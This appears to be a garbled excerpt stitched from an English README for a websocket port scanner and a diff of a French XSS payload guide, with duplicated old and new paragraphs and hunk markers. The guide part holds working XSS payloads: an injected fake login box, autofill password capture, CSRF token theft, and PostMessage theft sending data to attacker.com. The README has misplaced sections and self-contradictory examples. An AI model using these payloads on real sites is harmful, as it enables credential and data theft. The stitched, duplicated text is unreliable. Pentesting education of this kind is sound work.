python port_scanner.py <target_ip> <start_port> <end_port>
```
In this example, the tool will scan the target server with IP address `192.168.0.1` for open websocket ports within the range of `8000` to `9000`.
Replace `<target_ip>` with the IP address of the server you want to scan. `<start_port>` and `<end_port>` should be replaced with the range of ports you want to scan. For example, to scan ports 1 to 100 on a server with IP address 192.168.0.1, you would run:
#### Output
```
python port_scanner.py 192.168.0.1 1 100
```
The tool will display the results of the port scan, indicating which ports are open and which are closed. It will also provide additional information such as the response received from the server on each port.
The scanner will display the status of each port it scans, indicating whether it is open or closed. It will also provide a summary of the scan results once it has finished scanning all the ports.
#### Limitations
#### Example
Please note that this tool is specifically designed for scanning websockets and may not work properly with other types of ports or protocols. Additionally, keep in mind that scanning ports without proper authorization may be illegal and could result in legal consequences. Always ensure you have proper authorization before conducting any port scanning activities.
Here is an example of using the port scanner to scan ports 1 to 100 on a server with IP address 192.168.0.1:
```
python port_scanner.py 192.168.0.1 1 100
```
Output:
```
Scanning ports 1 to 100 on 192.168.0.1...
Port 22: Open
Port 80: Closed
Port 443: Open
Scan completed. Open ports found: 2
```
In this example, ports 22 and 443 are open, while port 80 is closed. The scan results indicate that there are 2 open ports on the target server.
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1474,7 +1542,7 @@ _Les temps courts indiquent un port qui répond_ _Les temps plus longs indiquent
Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Boîte pour demander les identifiants
### Boîte pour demander des identifiants
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
@ -1484,13 +1552,13 @@ Lors de tests d'intrusion sur des applications web, il est courant de rechercher
Lorsque les utilisateurs enregistrent leurs informations de connexion sur un site web, leur navigateur propose souvent de les sauvegarder pour un remplissage automatique ultérieur. Cela peut être pratique pour les utilisateurs, mais cela peut également représenter une faille de sécurité si le site web est vulnérable à une attaque XSS.
L'attaque consiste à injecter un script malveillant dans un champ de saisie du site web, qui sera ensuite exécuté lorsque le navigateur remplira automatiquement les informations de connexion. Le script peut être utilisé pour capturer les mots de passe et les envoyer à un attaquant.
L'attaque consiste à injecter un script malveillant dans un champ de saisie du site web, qui sera ensuite exécuté lorsque le navigateur remplira automatiquement les informations de connexion. Le script peut être conçu pour capturer les informations de connexion, telles que les noms d'utilisateur et les mots de passe, et les envoyer à un attaquant.
Pour exploiter cette vulnérabilité, il est important de comprendre comment les navigateurs gèrent le remplissage automatique des mots de passe. Chaque navigateur a sa propre méthode de stockage des mots de passe, mais la plupart utilisent des mécanismes tels que le remplissage automatique basé sur le nom d'utilisateur ou l'URL du site web.
Pour exploiter cette vulnérabilité, un attaquant doit identifier un point d'injection XSS sur le site web cible. Cela peut être un champ de saisie de formulaire, un champ de commentaire ou tout autre élément interactif qui accepte des entrées utilisateur. Une fois le point d'injection identifié, l'attaquant peut injecter un script malveillant qui sera exécuté lors du remplissage automatique des informations de connexion.
Lors de tests d'intrusion, il est recommandé de vérifier si le site web est vulnérable à cette attaque en injectant du code malveillant dans les champs de saisie et en vérifiant si les mots de passe sont capturés. Si c'est le cas, il est important de signaler cette vulnérabilité au propriétaire du site web afin qu'il puisse prendre les mesures nécessaires pour la corriger.
Il est important de noter que cette attaque ne fonctionnera que si le site web est vulnérable à une attaque XSS. Les développeurs doivent mettre en place des mesures de sécurité appropriées pour prévenir les attaques XSS, telles que la validation et l'échappement des entrées utilisateur.
Il convient de noter que cette attaque ne fonctionne que si le site web est vulnérable à une attaque XSS. Par conséquent, il est essentiel de rechercher d'autres vulnérabilités XSS potentielles avant de tenter cette attaque spécifique.
Pour les testeurs d'intrusion, il est essentiel de vérifier si un site web est vulnérable à cette attaque en effectuant des tests de sécurité approfondis, y compris des tests d'injection XSS. En identifiant et en signalant ces vulnérabilités, les développeurs peuvent prendre les mesures nécessaires pour les corriger et renforcer la sécurité de leurs applications web.
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1529,7 +1597,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
```
### Vol de messages PostMessage
Lors de l'audit d'une application web, il est important de vérifier si des vulnérabilités de type Cross-Site Scripting (XSS) sont présentes. L'une des variantes de XSS est connue sous le nom de vol de messages PostMessage.
Lors de l'audit d'une application web, il est important de vérifier si des vulnérabilités de type Cross-Site Scripting (XSS) sont présentes. Une variante de cette vulnérabilité est connue sous le nom de vol de messages PostMessage.
#### Qu'est-ce que PostMessage ?
@ -1537,19 +1605,21 @@ PostMessage est une méthode JavaScript qui permet à différentes fenêtres ou
#### Comment fonctionne le vol de messages PostMessage ?
Lorsqu'une application web utilise PostMessage pour communiquer avec une iframe, il est important de s'assurer que les messages reçus sont sécurisés et proviennent d'une source de confiance. Dans le cas contraire, un attaquant pourrait exploiter cette vulnérabilité pour voler des messages sensibles.
Lorsqu'une application web utilise PostMessage pour communiquer avec une iframe, il est important de s'assurer que les messages reçus proviennent bien de la source attendue. Dans le cas contraire, un attaquant pourrait exploiter cette vulnérabilité pour voler des informations sensibles.
L'attaque de vol de messages PostMessage consiste à injecter du code malveillant dans une page web vulnérable. Lorsque cette page communique avec une iframe via PostMessage, l'attaquant peut intercepter les messages et les envoyer à un serveur contrôlé par lui-même.
L'attaque de vol de messages PostMessage consiste à injecter du code malveillant dans une page web vulnérable. Lorsque cette page communique avec une iframe à l'aide de PostMessage, l'attaquant peut intercepter les messages et voler les données qu'ils contiennent.
#### Comment se protéger contre le vol de messages PostMessage ?
Pour se protéger contre le vol de messages PostMessage, il est recommandé de suivre les bonnes pratiques suivantes :
Pour se protéger contre le vol de messages PostMessage, il est recommandé de mettre en place les mesures suivantes :
- Valider et filtrer les messages reçus via PostMessage pour s'assurer qu'ils proviennent d'une source de confiance.
- Utiliser des mécanismes d'authentification et de chiffrement pour sécuriser les messages sensibles.
- Éviter d'utiliser PostMessage pour transmettre des informations sensibles, si possible.
1. Valider l'origine des messages reçus : Avant de traiter un message reçu via PostMessage, vérifiez que l'origine du message correspond bien à celle attendue.
En suivant ces bonnes pratiques, vous pouvez réduire les risques liés au vol de messages PostMessage et renforcer la sécurité de votre application web.
2. Utiliser des méthodes de communication sécurisées : Si possible, utilisez des méthodes de communication sécurisées telles que HTTPS pour réduire les risques d'interception des messages.
3. Éviter d'utiliser des messages sensibles : Évitez d'envoyer des messages contenant des informations sensibles via PostMessage. Si nécessaire, chiffrez les données avant de les envoyer.
En suivant ces bonnes pratiques, vous pouvez réduire les risques de vol de messages PostMessage et renforcer la sécurité de votre application web.
```markup
<img src="https://attacker.com/?" id=message>
<script>
@ -1609,9 +1679,9 @@ Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com)
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Trouver du contenu caché
### Regex - Accéder au contenu caché
D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de constater que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une expression régulière (REGEX) même après que la valeur de l'entrée de la REGEX ait été supprimée :
À partir de [**cette explication**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de constater que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée REGEX même après que la valeur de l'entrée de la REGEX ait été supprimée :
```javascript
// Do regex with flag
flag="CTF{FLAG}"